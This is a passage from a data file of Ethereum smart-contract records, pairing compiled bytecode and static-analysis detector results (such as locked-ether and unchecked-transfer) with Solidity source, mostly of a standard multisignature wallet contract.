16370a0823191602480820192602092909190829003018186803b1580156109a457600080fd5b505afa1580156109b8573d6000803e3d6000fd5b505050506040513d60208110156109ce57600080fd5b505192915050565b6109de610d9f565b600280546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f814250a3b8c79fcbe2ead2c131c952a278491c8f4322a79fe84b5040a810373e9181900360200190a150565b6001546001600160a01b03163314610a7b5760405162461bcd60e51b8152600401808060200182810382526035815260200180610deb6035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031681565b6002546001600160a01b03163314610b53576040805162461bcd60e51b8152602060048201526014602482015273135d5cdd081899481c1c9bde1e481d185c99d95d60621b604482015290519081900360640190fd5b604080516020601f89018190048102820181019092528781528791606091908a908490819084018382808284376000920191909152509293508992505081159050610bbd5760018114610bc85760028114610bd45760038114610be15760048114610bef57610bfa565b8260208301a0610bfa565b868360208401a1610bfa565b85878460208501a2610bfa565b8486888560208601a3610bfa565b838587898660208701a45b50505050505050505050565b600254604080516395d89b4160e01b815290516060926001600160a01b0316916395d89b41916004808301926000929190829003018186803b15801561055657600080fd5b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b158015610c9657600080fd5b505af1158015610caa573d6000803e3d6000fd5b50506002546040805163a9059cbb60e01b81526001600160a01b03888116600483015260248201889052915191909216935063a9059cbb925060448083019260209291908290030181600087803b15801561070157600080fd5b6002546001600160a01b031681565b60025460408051636eb1769f60e11b81526001600160a01b03858116600483015284811660248301529151600093929092169163dd62ed3e91604480820192602092909190829003018186803b158015610d6c57600080fd5b505afa158015610d80573d6000803e3d6000fd5b505050506040513d6020811015610d9657600080fd5b50519392505050565b6000546001600160a01b03163314610de85760405162461bcd60e51b815260040180806020018281038252602f815260200180610e20602f913960400191505060405180910390fd5b56fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea265627a7a723158207c40de44ba9873499222871789e5778f95cf3b656d64be1728b5c4fee6fead4d64736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,754 |
0x02cb1adc98e984a67a3d892dbb7ed72b36da7b07
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1566617073747b3b72707a67727055767a7b66707b666c663b7b7061">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610539578063b5dc40c3146105d1578063b77bf6001461064a578063ba51a6df14610673578063c01a8c8414610696578063c6427474146106b9578063d74f8edd14610752578063dc8452cd1461077b578063e20056e6146107a4578063ee22610b146107fc575b5b6000341115610174573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b005b341561018257600080fd5b610198600480803590602001909190505061081f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085f565b005b341561021e57600080fd5b6102346004808035906020019091905050610b02565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cae565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cce565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cfd565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d91565b005b341561036957600080fd5b61037f6004808035906020019091905050610f99565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611081565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611150565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e16111ac565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105255780820151818401525b602081019050610509565b505050509050019250505060405180910390f35b341561054457600080fd5b610579600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611241565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bd5780820151818401525b6020810190506105a1565b505050509050019250505060405180910390f35b34156105dc57600080fd5b6105f260048080359060200190919050506113a2565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106365780820151818401525b60208101905061061a565b505050509050019250505060405180910390f35b341561065557600080fd5b61065d6115d3565b6040518082815260200191505060405180910390f35b341561067e57600080fd5b61069460048080359060200190919050506115d9565b005b34156106a157600080fd5b6106b76004808035906020019091905050611696565b005b34156106c457600080fd5b61073c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611877565b6040518082815260200191505060405180910390f35b341561075d57600080fd5b610765611897565b6040518082815260200191505060405180910390f35b341561078657600080fd5b61078e61189c565b6040518082815260200191505060405180910390f35b34156107af57600080fd5b6107fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118a2565b005b341561080757600080fd5b61081d6004808035906020019091905050611bc0565b005b60038181548110151561082e57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089b57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f457600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a80578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a725760036001600380549050038154811015156109e757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2357fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a80565b5b8180600101925050610951565b6001600381818054905003915081610a989190611fe8565b506003805490506004541115610ab757610ab66003805490506115d9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5b57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bc657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610bf657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d8957838015610d3c575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d6f5750828015610d6e575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d7b576001820191505b5b8080600101915050610d05565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dcb57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e2557600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e4c57600080fd5b60016003805490500160045460328211158015610e695750818111155b8015610e76575060008114155b8015610e83575060008214155b1515610e8e57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610efa9190612014565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b6000806000809150600090505b60038054905081101561107957600160008581526020019081526020016000206000600383815481101515610fd757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611058576001820191505b60045482141561106b576001925061107a565b5b8080600101915050610fa6565b5b5050919050565b600080600090505b600380549050811015611149576001600084815260200190815260200160002060006003838154811015156110ba57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561113b576001820191505b5b8080600101915050611089565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111b4612040565b600380548060200260200160405190810160405280929190818152602001828054801561123657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111ec575b505050505090505b90565b611249612054565b611251612054565b6000806005546040518059106112645750595b908082528060200260200182016040525b50925060009150600090505b600554811015611322578580156112b8575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112eb57508480156112ea575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611314578083838151811015156112ff57fe5b90602001906020020181815250506001820191505b5b8080600101915050611281565b8787036040518059106113325750595b908082528060200260200182016040525b5093508790505b8681101561139657828181518110151561136057fe5b906020019060200201518489830381518110151561137a57fe5b90602001906020020181815250505b808060010191505061134a565b5b505050949350505050565b6113aa612040565b6113b2612040565b6000806003805490506040518059106113c85750595b908082528060200260200182016040525b50925060009150600090505b60038054905081101561152b5760016000868152602001908152602001600020600060038381548110151561141657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561151d5760038181548110151561149f57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114da57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113e5565b816040518059106115395750595b908082528060200260200182016040525b509350600090505b818110156115ca57828181518110151561156857fe5b90602001906020020151848281518110151561158057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b8080600101915050611552565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161357600080fd5b600380549050816032821115801561162b5750818111155b8015611638575060008114155b8015611645575060008214155b151561165057600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116ef57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561174b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156117b757600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361186c85611bc0565b5b5b50505b505b5050565b6000611884848484611e6c565b905061188f81611696565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118de57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561193757600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561199157600080fd5b600092505b600380549050831015611a7f578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119c957fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a715783600384815481101515611a2257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7f565b5b8280600101935050611996565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c1b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c8657600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611cb657600080fd5b611cbf86610f99565b15611e6057600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611ddd8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611dd35780601f10611da857610100808354040283529160200191611dd3565b820191906000526020600020905b815481529060010190602001808311611db657829003601f168201915b5050505050611fc0565b15611e1457857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e5f565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b5b5b505b50505b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e9557600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f54929190612068565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b6000806040516020840160008287838a8c6187965a03f1925050508091505b50949350505050565b81548183558181151161200f5781836000526020600020918201910161200e91906120e8565b5b505050565b81548183558181151161203b5781836000526020600020918201910161203a91906120e8565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106120a957805160ff19168380011785556120d7565b828001600101855582156120d7579182015b828111156120d65782518255916020019190600101906120bb565b5b5090506120e491906120e8565b5090565b61210a91905b808211156121065760008160009055506001016120ee565b5090565b905600a165627a7a72305820c9487b953e21378966e4ec9ab3d9708d038900f34de9970b974d8ef56e33ade20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,755 |
0x82024a028ac9951c9fc62d43c4f5f0e28315725e
|
/**
*Submitted for verification at Etherscan.io on 2018-03-30
*/
pragma solidity 0.4.20;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
